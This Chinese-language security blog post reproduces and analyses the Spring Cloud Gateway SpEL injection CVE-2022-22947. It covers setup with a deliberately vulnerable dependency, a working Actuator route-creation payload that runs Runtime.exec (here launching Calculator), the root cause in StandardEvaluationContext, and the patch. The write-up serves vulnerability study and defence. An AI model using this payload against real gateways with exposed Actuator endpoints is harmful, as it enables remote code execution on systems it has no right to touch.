背景
SpringCloud 是Spring提供的微服務實現框架,其中包含閘道器、配置中心和註冊中心等內容,閘道器的第一代實現為zuul,第二代實現為Gateway,提供了更好的效能和特性。
閘道器可以提供統一的流量控制和訪問控制等功能,一般放在客戶端請求的入口或作為nginx的直接上游如下圖。
Gateway 使用
Gateway配置可以使用兩種方式:
- yml或者properties 固定配置
- 通過actuator外掛動態新增
作為一個閘道器最主要的功能就是路由功能,而路由的規則由Route、Predicate、Filter 三部分組成。
- Spring Cloud Gateway < 3.1.1
- Spring Cloud Gateway < 3.0.7
實操
yml固定配置方式
- 首先在idea中新建spring專案,pom中引入spring-cloud-starter-gateway依賴(一般使用引入starter即可,這裡單獨指定含漏洞的自動配置底層包)
<dependency>
<groupId>org.springframework.cloud</groupId>
<artifactId>spring-cloud-starter-gateway</artifactId>
</dependency>
<!-- 有漏洞底層包版本-->
<dependency>
<groupId>org.springframework.cloud</groupId>
<artifactId>spring-cloud-gateway-server</artifactId>
<version>3.1.0</version>
</dependency>
- 在application.yml或者application.properties中新建以下配置:
spring:
application:
name: GatewatDemo
cloud:
gateway:
routes:
- id: "router1"
uri: "http://127.0.0.1:9223/"
predicates:
- Path=/
filters:
- AddResponseHeader=Result,1
配置含義: 新建了一個id為router1 的路由,規則為當請求的路徑為/時,將請求轉發給http://127.0.0.1:9223
(predicates)並給響應增加一個頭Result值為1(filter)。
本地起一個9223服務,觀察能否轉發。啟動專案,轉發成功。這就是一個閘道器基本的功能。
動態配置
除了通過配置檔案寫死的方式,Gateway也支援通過Actuator(spring 監控元件)動態配置路由。
- pom中新引入
spring-boot-starter-actuator
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-actuator</artifactId>
</dependency>
- 配置檔案( Spring Boot 2.x 後為了安全起見預設只開放/actuator/health和/actuator/info端點),開啟gateway監控
management:
endpoint:
gateway:
enabled: true
endpoints:
web:
exposure:
include: gateway
- 重啟應用,訪問
http://localhost:8080/actuator/gateway/routes
,出現下面頁面則表示配置成功。
- 使用actuator動態建立路由,使用post請求傳送以下內容到
http://127.0.0.1:8080/actuator/gateway/routes/router2
:
{
"id": "router2",
"filters": [{
"name": "AddResponseHeader",
"args": {
"name": "Result",
"value": "2"
}
}],
"uri": "http://127.0.0.1:9224",
"predicate": "/9224"
}
含義和第一種類似,不過轉發路徑變成了9224.
- 請求
http://127.0.0.1:8080/actuator/gateway/refresh
應用配置 - 請求頁面,頁面404,這事因為9224的後端服務沒有/9224這個端點所以是404,但有請求記錄,證明轉發成功。
- 為了使請求正常,所以配置新增一項重寫path
{
"id": "router2",
"filters": [{
"name": "AddResponseHeader",
"args": {
"name": "Result",
"value": "2"
}
},{
"name":"RewritePath",
"args":{
"_genkey_0":"/9224",
"_genkey_1":"/"
}
}],
"uri": "http://127.0.0.1:9224",
"predicate": "/9224"
}
- 重新訪問,頁面正常
漏洞復現
其實這個漏洞本身是一個SpEL注入,我們嘗試在之前的yml配置檔案中使用SpEL表示式,我們將filter中的AddResponseHeader 值改為#{1+1}
spring:
application:
name: GatewatDemo
cloud:
gateway:
routes:
- id: "router1"
uri: "http://127.0.0.1:9223/"
predicates:
- Path=/
filters:
- AddResponseHeader=Result,#{1+1}
檢視返回頭,表示式被成功執行:
將表示式替換成惡意的SpEL表示式即可觸發RCE,#{T(Runtime).getRuntime().exec("/System/Applications/Calculator.app/Contents/MacOS/Calculator")}
。
雖然這個地方確實存在SpEL注入,但卻很難利用,因為攻擊者很難控制目標機器的配置檔案,所以利用條件就變成了有沒有開啟Actuator,且Actuator開啟了gateway功能沒有配置spring security。
使用動態建立的方法試試。
使用以下payload請求建立路由:
{
"id": "router2",
"filters": [{
"name": "AddResponseHeader",
"args": {
"name": "Result",
"value": "#{T(Runtime).getRuntime().exec('/System/Applications/Calculator.app/Contents/MacOS/Calculator')}"
}
},{
"name":"RewritePath",
"args":{
"_genkey_0":"/9224",
"_genkey_1":"/"
}
}],
"uri": "http://127.0.0.1:9224",
"predicate": "/9224"
}
重新整理路由,發現程式碼成功執行。
原理分析
我們開啟spring-cloud-gateway的官網,發現SpEL原本是官方提供的一個引用bean的功能。
我們對exec執行下個斷點,觀察程式的呼叫棧。
前面一堆是Reactor的邏輯,因為是非同步非阻塞的方式,所以閱讀起來有一定門檻。
簡單來說,就是當我們請求/actuator/gateway/routes/refresh時會去呼叫註冊在reactor 中的方法,然後請求org.springframework.cloud.gateway.actuate
包中的refresh()方法
後續會將application的上下文傳入gateway的邏輯,在處理Filter的邏輯中會對屬性欄位進行normalizeProperties
操作:
具體邏輯會放入normalize中進行處理,其中第一個引數即為我們自己配置的filter處理邏輯
第三個引數為SpEL的parse。
隨後進入ShorcutType中的normalize進行處理,解析key、value進入並將value傳入getValue():
在getValue中對字串進行trim操作,同時判斷字串以#{
開始並以}
結束:
如果滿足條件則進入SpEL進行解析,可以看到這裡導致能夠RCE的原因,使用了StandardEvaluationContext
作為context, 隨後對配置檔案的value進行標準SpEL解析。
到這裡就基本理解了漏洞觸發的原因
補丁分析
在2月17號,開發者提交了在org.springframework.cloud.gateway.support#ShortcutConfigurable
使用自定義Context方式替換原來的StanderdContext
自定義的Context增加了Spring的BeanFactory類,從而能實現對Spinrg IOC容器 bean的引用。
修復後新版本執行會報錯:
總結
漏洞影響版本:
- Spring Cloud Gateway < 3.1.1
- Spring Cloud Gateway < 3.0.7
基本上和SpringCloud Functions 一樣是個SpEL注入的漏洞,只不過在閘道器的場景出現,需要應用暴露actuator,有一定前置條件。
引用
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-22947
https://docs.spring.io/spring-cloud-gateway/docs/current/reference/html/
https://github.com/spring-cloud/spring-cloud-gateway/commit/337cef276bfd8c59fb421bfe7377a9e19c68fe1e
https://docs.spring.io/spring-boot/docs/current/reference/html/actuator.html#actuator
公眾號
歡迎大家關注我的公眾號,這裡有乾貨滿滿的硬核安全知識,和我一起學起來吧!